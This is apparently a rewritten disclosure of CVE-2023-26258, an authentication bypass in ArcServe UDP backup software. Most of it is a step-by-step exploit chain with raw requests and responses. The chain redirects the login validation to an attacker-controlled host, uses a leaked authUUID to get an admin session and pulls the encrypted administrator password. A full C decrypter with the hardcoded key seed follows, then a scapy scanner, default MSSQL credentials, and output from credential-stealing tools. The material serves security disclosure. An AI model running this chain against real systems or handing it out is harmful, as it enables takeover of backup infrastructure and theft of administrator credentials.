CVE-2023-26258 – Remote Code Execution in ArcServe UDP Backup
ArcServe UDP versions 7.0 to 9.0 contain an authentication bypass in the GWT RPC login flow, where the server-side validateUser method trusts a client-supplied host and protocol to contact an external WebService for credential validation. An attacker can redirect this call to their own server, obtain a valid session, and then retrieve the administrator password in encrypted form.
Our best in class red team can deliver a holistic cyber attack simulation to provide a true evaluation of your organisation’s cyber resilience.](https://www.mdsec.co.uk/our-services/adversary-simulation/) - [{{media:1}}
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
ArcServe UDP is backup software. During a ransomware scenario run by the MDSec ActiveBreach red team, the objective was to compromise the organisation's backup infrastructure, and Juan Manuel Fernandez and Sean Doherty analysed the software used to perform those backups. Within minutes of analysing the code they found a critical authentication bypass that gave access to the administration interface.
The vulnerability affects versions 7.0 to 9.0. The administrative web interface is a GWT application that talks to a backend over GWT RPC, and the backend in turn acts as a proxy to a SOAP WebService that performs the actual credential validation. The bypass lives in the way the web tier decides where that WebService is.
Setup
The instance was reachable at [redacted]:8014 over HTTPS, with a second address [redacted]:8014 used for direct SOAP requests. The account used throughout is vagrant in the domain SEVENKINGDOMS, with the password adepts. The relevant code lives in flash-webui.jar on the web tier and in edge-app-base-webservice-impl.jar for the decryption helper. The native decryption routine is in AFCoreFunction.dll.
No special access is needed to reach the login endpoint; the whole point of the finding is that it is reachable before authentication.
Finding it
While watching the HTTP traffic between the browser and the administrative interface, one request during login stood out. It is a GWT RPC call to validateUser whose body is a serialised object carrying, among other things, the protocol, the server hostname, the domain, the username and the password.
POST /contents/service/login HTTP/1.1
Host: [redacted]:8014
Cookie: AGENTJSESSIONID=[redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/x-gwt-rpc; charset=utf-8
X-Gwt-Permutation: [redacted]
X-Gwt-Module-Base: <https://[redacted]:8014/contents/>
Content-Length: 245
Origin: <https://[redacted]:8014>
Referer: <https://[redacted]:8014/>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
7|0|10|https://[redacted]:8014/contents/|[redacted]|com.ca.arcflash.ui.client.login.LoginService|validateUser|java.lang.String/2004016611|I|https:|EPIPELAGIC|SEVENKINGDOMS|vagrant|adepts|1|2|3|4|6|5|5|6|5|5|5|7|8|8014|9|10|11|
In the serialised body, https: is the schema, EPIPELAGIC the server hostname, SEVENKINGDOMS the domain, vagrant the username and adepts the password.
The server-side implementation in flash-webui.jar explains what those values are used for:
public Boolean validateUser(HttpServletRequest req, String protocol, String host, int port, String domain, String username, String password, String logindetail) throws BusinessLogicException, ServiceConnectException, ServiceInternalException {
logger.debug("validateUser(HttpServletRequest, String, String, int, String, String, String, String) - start");
if (StringUtil.isEmptyOrNull(username))
throw generateException(FlashServiceErrorCode.Login_UsernameRequired);
if (StringUtil.isEmptyOrNull(password))
throw generateException(FlashServiceErrorCode.Login_PasswordRequired);
HttpSession session = req.getSession();
WebServiceClientProxy client = null;
LoginDetail detail = null;
try {
logger.debug(protocol + host + port);
client = (WebServiceClientProxy)ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5");
setServiceClient(req, client);
detail = client.getService().validateUserWithDetail(username, password, domain, logindetail);
setLocalWebServiceClient(client);
} catch (WebServiceException exception) {
logger.error("Error occurs during validate user...");
logger.error(exception.getMessage());
if (exception.getCause() instanceof Error && exception.getMessage().startsWith("Undefined operation name"))
throw generateException(FlashServiceErrorCode.EDGE_D2D_INTERFACE_MISMATCH);
proccessAxisFaultException(exception);
}
HostInfo hostInfo = new HostInfo();
hostInfo.setName(host);
hostInfo.setUsername(username);
session.setAttribute(SessionConstants.SRING_DOMAIN, domain);
session.setAttribute(SessionConstants.SRING_USERNAME, username);
session.setAttribute(SessionConstants.SRING_PASSWORD, password);
session.setAttribute(SessionConstants.SRING_UUID, "");
session.setAttribute(SessionConstants.SRING_LOGIN_DETAIL, detail);
logger.debug("validateUser(HttpServletRequest, String, String, int, String, String, String, String) - end");
return Boolean.TRUE;
}
The method builds a client that acts as a proxy to a WebService responsible for validating the supplied credentials. The location of that WebService, and the schema (HTTP or HTTPS) used to reach it, come straight from the serialised object the client sent. That is the flaw: a value the user controls decides where the server sends its validation request.
Exploitation
Step 1: point the validation client at a host you control
If the request is intercepted and edited in transit, the serialised object can be changed so that the client contacts an HTTP server under the attacker's control. In the example, the host EPIPELAGIC is replaced with [redacted], the schema is switched to http:, and the port becomes 7777:
7|0|10|https://[redacted]:8014/contents/|[redacted]|com.ca.arcflash.ui.client.login.LoginService|validateUser|java.lang.String/2004016611|I|http:|[redacted]|SEVENKINGDOMS|vagrant|1|2|3|4|6|5|5|6|5|5|5|7|8|7777|9|10|10|
A minimal HTTP server is started on that port to log whatever arrives:
psyconauta@insulanova:/tmp|⇒ python3 loghttp.py 7777
Starting httpd...
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUser xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><arg0>vagrant</arg0><arg1>vagrant</arg1><arg2>SEVENKINGDOMS</arg2></ns2:validateUser></S:Body></S:Envelope>
[redacted] - - [04/Feb/2023 11:56:58] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 -
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfo xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"/></S:Body></S:Envelope>
[redacted] - - [04/Feb/2023 11:56:58] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 -
The server makes two SOAP requests to /WebServiceImpl/services/FlashServiceImpl: the first is validateUser, carrying the credentials, and the second is getVersionInfo, asking for additional information.
Step 2: query the real WebService without authentication
The getVersionInfo request can be copied and sent manually to the original WebService:
POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
Host: [redacted]:8014
Content-Length: 887
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfo xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"/></S:Body></S:Envelope>
The response leaks a lot of information without any authentication:
HTTP/1.1 200
Date: Sat, 04 Feb 2023 11:03:22 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Content-Length: 2853
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfoResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><ns2:return><ns5:majorVersion>9</ns5:majorVersion><ns5:minorVersion>0</ns5:minorVersion><ns5:buildNumber>6034</ns5:buildNumber><ns5:locale>en</ns5:locale><ns5:country></ns5:country><ns5:timeZoneID>America/Los_Angeles</ns5:timeZoneID><ns5:timeZoneOffset>-28800000</ns5:timeZoneOffset><ns5:adminName>SEVENKINGDOMS\\vagrant</ns5:adminName><ns5:localDriverLetters>C:\\</ns5:localDriverLetters><ns5:localADTPackage>-1</ns5:localADTPackage><ns5:productType>2</ns5:productType><ns5:edgeInfoCM><ns5:edgeHostName>kingslanding.[redacted]</ns5:edgeHostName><ns5:edgeUrl><https://kingslanding.[redacted]:8015/management/></ns5:edgeUrl></ns5:edgeInfoCM><ns5:dataFormat><ns5:timeFormat>h:mm:ss a</ns5:timeFormat><ns5:shortTimeFormat>h:mm a</ns5:shortTimeFormat><ns5:timeDateFormat>M/d/yyyy h:mm:ss a</ns5:timeDateFormat><ns5:dateFormat>M/d/yyyy</ns5:dateFormat></ns5:dataFormat><ns5:isX86>false</ns5:isX86><ns5:isHyperVRoleInstalled>false</ns5:isHyperVRoleInstalled><ns5:isDedupInstalled>false</ns5:isDedupInstalled><ns5:isWin8>true</ns5:isWin8><ns5:isReFsSupported>true</ns5:isReFsSupported><ns5:osName>Windows Server 2019 Datacenter Evaluation</ns5:osName><ns5:hostName>kingslanding</ns5:hostName><ns5:osMajorVersion>10</ns5:osMajorVersion><ns5:osMinorVersion>0</ns5:osMinorVersion><ns5:osBuildNumber>17763</ns5:osBuildNumber><ns5:uefiFirmware>false</ns5:uefiFirmware><ns5:SQLServerInstalled>true</ns5:SQLServerInstalled><ns5:ExchangeInstalled>false</ns5:ExchangeInstalled><ns5:D2DInstalled>true</ns5:D2DInstalled><ns5:ARCserveBackInstalled>false</ns5:ARCserveBackInstalled><ns5:RPSInstalled>true</ns5:RPSInstalled><ns5:settingConfiged>false</ns5:settingConfiged><ns5:dotNetVersion>4.7</ns5:dotNetVersion><ns5:displayVersion>9.0</ns5:displayVersion><ns5:isInCloud>false</ns5:isInCloud><ns5:nodeUUID>d5936919-6cc3-4c8a-b570-bbd39f75ca17</ns5:nodeUUID><ns5:authUUID>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</ns5:authUUID></ns2:return></ns2:getVersionInfoResponse></S:Body></S:Envelope>
The response gives the OS version and build number, the hostname, the domain and the name of the administrator account. It also returns an authUUID, which is the value that matters next.
Step 3: use the UUID to obtain a session
Back in flash-webui.jar, below validateUser, there is another method, validateUserByUuid:
public Boolean validateUserByUuid(String uuid, String host, int port, String protocol) throws BusinessLogicException, ServiceConnectException, ServiceInternalException {
logger.debug("validateUserByUuid(String, String, int, String) - start");
if (StringUtil.isEmptyOrNull(uuid))
throw generateException(FlashServiceErrorCode.Login_UUIDRequired);
WebServiceClientProxy client = null;
try {
client = (WebServiceClientProxy)ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5");
setServiceClient(req, client);
client.getService().validateUserByUUID(uuid);
setLocalWebServiceClient(client);
} catch (WebServiceException exception) {
logger.error("Error occurs during validate user by uuid...");
logger.error(exception.getMessage());
proccessAxisFaultException(exception, false);
}
getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_DOMAIN, "");
getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_USERNAME, "");
getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_UUID, uuid);
getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_PASSWORD, "");
logger.debug("validateUserByUuid(String, String, int, String) - end");
return Boolean.TRUE;
}
Grepping for the method name shows it is exposed by a WebService described in VirtualStandbyServiceImpl.wsdl, and that it takes a single argument:
<xs:complexType name="validateUserByUUID">
<xs:sequence>
<xs:element name="arg0" type="xs:string" minOccurs="0"/>
</xs:sequence>
</xs:complexType>
Sending the authUUID from the version response as that argument:
POST /WebServiceImpl/services/VirtualStandbyServiceImpl HTTP/1.1
SOAPAction: "<http://webservice.arcflash.ca.com/IEdgeDashboardService/validateUserByUUIDRequest>"
Host: [redacted]:8014
Content-Length: 964
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUserByUUID xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><arg0>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</arg0></ns2:validateUserByUUID></S:Body></S:Envelope>
returns a session cookie:
HTTP/1.1 200
Date: Fri, 03 Feb 2023 22:01:07 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Set-Cookie: AGENTJSESSIONID=[redacted]; Path=/WebServiceImpl; Secure; HttpOnly
Content-Length: 324
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUserByUUIDResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://data.webservice.arcflash.ca.com/xsd>"><ns2:return>0</ns2:return></ns2:validateUserByUUIDResponse></S:Body></S:Envelope>
Step 4: retrieve the administrator password
With a valid administrator session, the WebService can be used to retrieve the administrator password. ArcServe provides a method called getLocalHostAsTrust that returns the encrypted password:
POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
Cookie: AGENTJSESSIONID=[redacted]
SOAPAction: "<http://webservice.arcflash.ca.com/IFlashService_R16_5/getVersionInfoRequest>"
Host: [redacted]:8014
Content-Length: 917
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getLocalHostAsTrust xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"></ns2:getLocalHostAsTrust></S:Body></S:Envelope>
The response contains the account name and the encrypted password:
HTTP/1.1 200
Date: Sat, 04 Feb 2023 11:12:14 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Content-Length: 1625
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getLocalHostAsTrustResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><ns2:return><ns5:name>KINGSLANDING</ns5:name><ns5:port>0</ns5:port><ns5:uuid>[redacted]/[redacted]</ns5:uuid><ns5:userName>vagrant</ns5:userName><ns5:password>[redacted]</ns5:password><ns5:type>0</ns5:type><ns5:d2dVersion>9</ns5:d2dVersion></ns2:return></ns2:getLocalHostAsTrustResponse></S:Body></S:Envelope>
Step 5: decrypt the password
To work out how the password is encrypted, the researchers looked at edge-app-base-webservice-impl.jar, which contains a class called XmlDecrypter:
package com.ca.arcserve.edge.app.base.common;
import com.ca.arcflash.webservice.jni.WSJNI;
import java.io.IOException;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.transform.TransformerException;
import org.xml.sax.SAXException;
public class XmlDecrypter extends BaseXmlCrypt {
public static final XmlDecrypter CommonDecrypter = new XmlDecrypter(new String[] { "uuid", ".*password", "encryptionkey", "access_token", "client_secret", "token_cache" });
public XmlDecrypter(String[] matchTag) {
super(matchTag);
}
protected String doEncrypt(String s) {
return WSJNI.AFDecryptStringEx(s);
}
public String decryptXml_NoException(String xml) {
return analyzeXml_NoException(xml);
}
public String decryptXml(String xml) throws ParserConfigurationException, SAXException, IOException, TransformerException {
return analyzeXml(xml);
}
}
doEncrypt calls a native function from WSJNI. Searching further, AFCoreFunction.dll contains a function called AFDecryptFromString with the following code inside (some parts were renamed during the reverse engineering process):
1800dd8ac CryptDecrypt_trucho = &CryptDecrypt_m;
1800dd8bf int32_t var_48_2 = 0x18;
1800dd8c6 int32_t var_44_2 = 0x6610; //AES-256
1800dd8ec if ((mandanga_buena(&CryptDecrypt_trucho, nullptr) >= 0 && (r14_1 != 0 && r14_1 <= rbx_2)))
1800dd8e9 {
1800dd8f2 arg_10 = r14_1;
1800dd8f2 }
1800ddb3f CryptDecrypt_trucho = &CryptDecrypt_m;
1800ddb6b rbx_1 = 0xa;
1800ddb77 void* const var_a8_2 = "AFSrvConfig::SaveAdminAccount";
1800ddb8b sub_18006e160(Username, 0, 0, "%s: Encrypt password failed");
1800ddb7c }
The function renamed to mandanga_buena is shown below:
1800ea2b0 uint64_t mandanga_buena(void* arg1, int16_t* arg2)
1800ea2b0 {
1800ea2c5 int32_t rsi = 0;
1800ea2c7 void* const rbx = arg2;
1800ea2d5 if ((arg2 == 0 || (arg2 != 0 && 0 == *(int16_t*)arg2)))
1800ea2d2 {
1800ea2d7 rbx = "Please input a valid password";
1800ea2d7 }
1800ea2e9 int32_t var_18 = 0xf0000000;
1800ea2f3 BOOL rax = CryptAcquireContextW(((char*)arg1 + 8), nullptr, nullptr, *(int32_t*)((char*)arg1 + 0x20), 0xf0000000);
1800ea2fb enum WIN32_ERROR rax_1;
1800ea2fb BOOL rax_2;
1800ea2fb uint64_t rax_4;
1800ea2fb if (rax == 0)
1800ea2f9 {
1800ea2fd rax_1 = GetLastError();
1800ea308 if (rax_1 == 0x80090016)
1800ea303 {
1800ea315 var_18 = 0xf0000008;
1800ea31f rax_2 = CryptAcquireContextW(((char*)arg1 + 8), nullptr, nullptr, *(int32_t*)((char*)arg1 + 0x20), 0xf0000008);
1800ea315 }
1800ea327 if ((rax_1 != 0x80090016 || (rax_1 == 0x80090016 && rax_2 == 0)))
1800ea325 {
1800ea329 rax_4 = -1;
1800ea329 }
1800ea327 if ((rax != 0 || ((rax == 0 && rax_1 == 0x80090016) && rax_2 != 0)))
1800ea325 {
1800ea344 void* r15_1 = ((char*)arg1 + 0x10);
1800ea34d var_18 = r15_1;
1800ea35a if (CryptCreateHash(*(int64_t*)((char*)arg1 + 8), 0x8003, nullptr, 0, var_18) == 0)
1800ea358 {
1800ea35c rax_4 = 0xfffffffe;
1800ea35c }
1800ea363 else
1800ea363 {
1800ea363 int64_t rax_5 = -1;
1800ea379 bool cond:0_1;
1800ea379 do
1800ea379 {
1800ea370 cond:0_1 = *(int16_t*)(((char*)rbx + (rax_5 << 1)) + 2) != 0;
1800ea375 rax_5 = (rax_5 + 1);
1800ea375 } while (cond:0_1);
1800ea390 if (CryptHashData(*(int64_t*)r15_1, rbx, ((int32_t)(rax_5 + rax_5)), 0) == 0)
1800ea38e {
1800ea392 rax_4 = 0xfffffffd;
1800ea392 }
1800ea3aa else
1800ea3aa {
1800ea3aa var_18 = ((char*)arg1 + 0x18);
1800ea3bf if (CryptDeriveKey(*(int64_t*)((char*)arg1 + 8), *(int32_t*)((char*)arg1 + 0x24), *(int64_t*)r15_1, 0x1000004, var_18) == 0)
1800ea3b8 {
1800ea3bf rsi = -4;
1800ea3bf }
1800ea3c2 rax_4 = ((uint64_t)rsi);
1800ea3c2 }
1800ea3c2 }
1800ea3c2 }
1800ea3de return rax_4;
1800ea3de }
The string Please input a valid password is used as the seed to build the key used later in CryptDecrypt. With that, a decrypter is straightforward:
#include <Windows.h>
#include <stdio.h>
int main(int argc, char** argv) {
printf("\\t\\t-={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) }=-\\n\\n");
HCRYPTPROV phProv = NULL;
HCRYPTHASH phHash = NULL;
HCRYPTKEY phKey = NULL;
BYTE enc[] = { 133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98 }; // Text to decrypt (base64 decode and take everything after 0x80 bytes)
BYTE key[] = { 0x50, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x61, 0x00, 0x20, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x64, 0x00, 0x20, 0x00, 0x70, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00 };
DWORD pdwDataLen = sizeof(enc);
if (!CryptAcquireContextW(&phProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
printf("[!] CryptAcquireContextW Failed!\\n");
exit(-1);
}
if (!CryptCreateHash(phProv, CALG_MD5, NULL, 0, &phHash)) {
printf("[!] CryptCreateHash Failed!\\n");
exit(-1);
}
if (!CryptHashData(phHash, key, 58, 0)) {
printf("[!] CryptHashData Failed!\\n");
exit(-1);
}
if (!CryptDeriveKey(phProv, CALG_AES_256, phHash, 16777220, &phKey)) {
printf("[!] CryptDeriveKey Failed!\\n");
exit(-1);
}
CryptDecrypt(phKey, NULL, TRUE, 0, &enc, &pdwDataLen);
printf("[+] Decrypted string: %S", enc);
}
Step 6: find other instances
By default ArcServe uses the instance name ARCSERVE_APP, so the SQL Browser Service can be abused: a broadcast packet to UDP 1434 will get a reply from any host running that instance.
#!/usr/bin/env python3
# ArcServeRadar by Juan Manuel Fernandez (@[redacted])
import sys
import threading
from scapy.all import *
udp_packet = bytearray.fromhex("0441524353455256455f415050") # ARCSERVE_APP
def ping(ip, iface, port):
print("[*] Broadcasting")
sendp(Ether()/IP(src=ip,dst="[redacted]")/UDP(dport=1434,sport=port)/Raw(load=udp_packet), verbose=False, iface=iface)
def check(pkt):
origin = pkt[IP].src
content = pkt[Raw].load
if content != udp_packet:
data = content[content.find(b"Server"):]
print("\\t[+] " + origin + " => " + data.decode("utf-8"))
def monitor(iface, port):
print("[*] Starting to monitor")
sniff(prn=check, filter="port " + str(port), iface=iface)
if __name__ == "__main__":
print("\\t\\t-=[ ArcServe Finder - @[redacted] ]=-\\n\\n")
if len(sys.argv) != 4:
print("[!] Error. Usage: python3 ArcServeRadar.py <interface> <originport> <originip>")
exit(-1)
iface = sys.argv[1]
port = int(sys.argv[2])
ip = sys.argv[3]
x = threading.Thread(target=monitor, args=(iface,port,))
x.start()
ping(ip, iface, port)
Alternatively, the following default credentials can be used if they have not been changed:
[MSSQL] Cleartext Username : arcserve_udp
[MSSQL] Cleartext Password : @rcserveP@ssw0rd
Running the scanner from a host on the local network:
c:\\Users\\vagrant\\Desktop>python ArcServeRadar.py "Ethernet 2" 6969 [redacted]
-=[ ArcServe Finder - @[redacted] ]=-
[*] Starting to monitor
[*] Broadcasting
WARNING: Mac address to reach destination not found. Using broadcast.
[+] [redacted] => ServerName;KINGSLANDING;InstanceName;ARCSERVE_APP;IsClustered;No;Version;15.0.2000.5;tcp;62197;;
With default database credentials, the IP and port from the reply can be used to read the username and password and to locate the ArcServe instances:
psyconauta@insulanova:/tmp|⇒ python3 arcserve-dbpwn.py -target [redacted] -port 62197
-=[ ArcServe credential retriever (from DB) - Juan Manuel Fernandez (@TheXC3LL) ]=-
[*] Connecting to the server
[*] Login with default creds
[*] Extracting credentials:
[+] User: SEVENKINGDOMS\\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[+] User: SEVENKINGDOMS\\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[*] Finding hosts:
[+] [redacted] | kingslanding.[redacted] | Windows Server 2019 Datacenter Evaluation
[+] [redacted] | kingslanding.[redacted] | NULL
Have a nice day! ^_^
All the passwords retrieved by the tools can be decrypted with ArcServeDecrypter.exe: edit the C code to add the array, compile and run it.
C:\\Users\\vagrant>C:\\Users\\vagrant\\source\\repos\\ArcServeDecrypter\\x64\\Debug\\ArcServeDecrypter.exe
-={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) }=-
[+] Decrypted string: vagrant
Root cause
The web tier takes the protocol, host and port for the credential-validation WebService from the serialised GWT RPC object supplied by the client, and uses them to build the proxy client. Nothing ties those values to the server's own configuration, so an attacker who can edit the request in transit decides where the server sends its validation call. The same design exposes getVersionInfo without authentication, and the authUUID it returns is accepted by validateUserByUUID, which yields a session cookie.
The password protection is also weak: the encrypted password is returned by getLocalHostAsTrust to any holder of a session, and the decryption key is derived from the fixed string Please input a valid password rather than from a secret. The report does not describe any defence that would have stopped the bypass.
Impact
An attacker who can reach the administrative interface can obtain a valid administrator session without credentials, retrieve the administrator password in encrypted form, and decrypt it. The affected versions are 7.0 to 9.0. The same credentials can also be obtained through other paths when the vulnerability is patched, but those paths require privileges or default credentials: reading as_edge_connect_info and as_edge_host from MSSQL when the database still uses default credentials, or reading the AdminUser and AdminPassword values under HKEY_LOCAL_MACHINE\\SOFTWARE\\Arcserve\\Unified Data Protection\\Engine with enough privileges to use the Remote Registry service.
select username,password from as_edge_connect_info;
select ipaddress,rhostname,osdesc from as_edge_host;
With local admin rights on the ArcServe server, the registry values can be read remotely:
psyconauta@insulanova:/tmp|⇒ python3 arcserve-creds.py -u eddard.stark -p 'FightP3aceAndHonor!' -d [redacted] -target-ip [redacted]
-=[ ArcServe Credential Stealer - (@TheXC3LL) ]=-
[+] Connecting to [redacted]
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to [redacted]
[+] Opening registry key
[*] User: P3TWLADS11STD\\vagrant
[*] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[+] Stopping Remote Registry Service
Have a nice day! ^_^
